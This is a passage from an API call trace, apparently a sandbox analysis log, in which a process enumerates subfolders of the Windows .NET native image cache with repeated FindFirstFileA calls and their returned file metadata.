ftLastAccessTime.dwLowDateTime=0xf2f87a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf2f87a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.668] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Com#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0a522bd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf31e900, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf31e900, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0244.688] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Com#\\20e46d1d15a9eaee80b1d16dafef4017\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0a522bd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf344a60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf344a60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.694] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Run#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc29dc677, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf344a60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf344a60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0244.701] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Run#\\462293b97f4b8f084192a7fbae47269f\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc29dc677, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf36abc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf36abc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.715] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.WorkflowServ#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2a7a912b, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xf390d20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf390d20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0244.720] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.WorkflowServ#\\7f1f91903e297c234f177743d94c318e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2a7a912b, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xf390d20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf390d20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.727] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ba57fdd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf390d20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf390d20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0244.738] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml\\ee795155543768ea67eecddc686a1e9e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ba57fdd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf3b6e80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf3b6e80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.745] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml.Linq\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7519e8a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf3dcfe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf3dcfe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0244.750] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml.Linq\\164d9beb2bf9b6160593f915a2d9aa6d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7519e8a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf3dcfe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf3dcfe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.756] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\TaskScheduler\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf3ef362, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf3dcfe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf3dcfe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0244.763] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\TaskScheduler\\a3883e7fc1bd0fbc54761b26c2bc5483\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf3ef362, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf403140, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf403140, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.768] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Temp\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3118c295, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xf403140, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf403140, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0244.773] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Temp\\ZAP6B8E.tmp\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b72991, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf403140, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf403140, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.778] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Temp\\ZAPE291.tmp\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3118c295, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xf4292a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf4292a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.784] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Temp\\ZAPE56E.tmp\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1be8607c, ftCreationTime.dwHighDateTime=0x1ca0440, ftLastAccessTime.dwLowDateTime=0xf4292a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf4292a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.797] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationClient\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf90a1c9a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf4292a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf4292a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0244.802] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationClient\\60fa801c6b0c236ddeb6e93364ec5705\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf90a1c9a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf44f400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf44f400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.807] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationClients#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b76e308, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xf475560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf475560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0244.815] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationClients#\\1820fd86357ea33153927f127e6c5d3f\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b76e308, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xf475560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf475560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.820] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationProvider\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f4b3b7f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf475560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf475560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0244.825] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationProvider\\0445defa66af3e3548dd3052e8752079\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f4b3b7f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf49b6c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf49b6c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.830] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationTypes\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f6ef024, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf49b6c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf49b6c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0244.836] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationTypes\\69e6acc80dfb71c3ebeac12584ea008c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f6ef024, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf49b6c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf49b6c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.841] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WindowsBase\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x623ace1e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf4c1820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf4c1820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0244.846] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WindowsBase\\40864f42b00635e6fa6ce8da88d9ab83\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x623d2f7f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf4c1820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf4c1820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.850] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WindowsFormsIntegra#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2be6c3b5, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xf4c1820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf4c1820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0244.856] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WindowsFormsIntegra#\\0cb1830849e0ce11c8985339523d5b63\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2be6c3b5, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xf4e7980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf4e7980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.861] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WsatConfig\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf9bc90d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf4e7980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf4e7980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0244.866] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WsatConfig\\36ca2928b2191011831ab673861c6ac6\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf9bc90d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf4e7980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf4e7980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.871] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd111920, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xf50dae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf50dae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0244.882] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Accessibility\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x815d680, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xf50dae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf50dae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0244.890] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Accessibility\\2b247e9dbf33e288f48c4d0574d2c7df\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa56b8c40, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xf533c40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf533c40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.895] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\AspNetMMCExt\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80c0230, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xf533c40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf533c40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0244.900] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\AspNetMMCExt\\3af681eacdd7e0dd4d84017771b00c39\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80c0230, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xf559da0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf559da0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.906] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\ComSvcConfig\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8d8b870, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xf559da0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf559da0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0244.911] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\ComSvcConfig\\0441adebf5f6cc0d82652240a999db0c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8d8b870, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xf559da0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf559da0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.917] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\CustomMarshalers\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8268020, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xf57ff00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf57ff00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0244.922] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\CustomMarshalers\\24e93e2156e96927b5a0c88d9e8e1a57\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa06fab40, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xf57ff00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf57ff00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.928] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\dfsvc\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8f7aa50, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xf57ff00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf57ff00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0244.935] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\dfsvc\\c9beed205edb46e7045f1d71a10a0e3e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8f7aa50, ftCreationTime.dwHighDateTime=0x1d2faef, 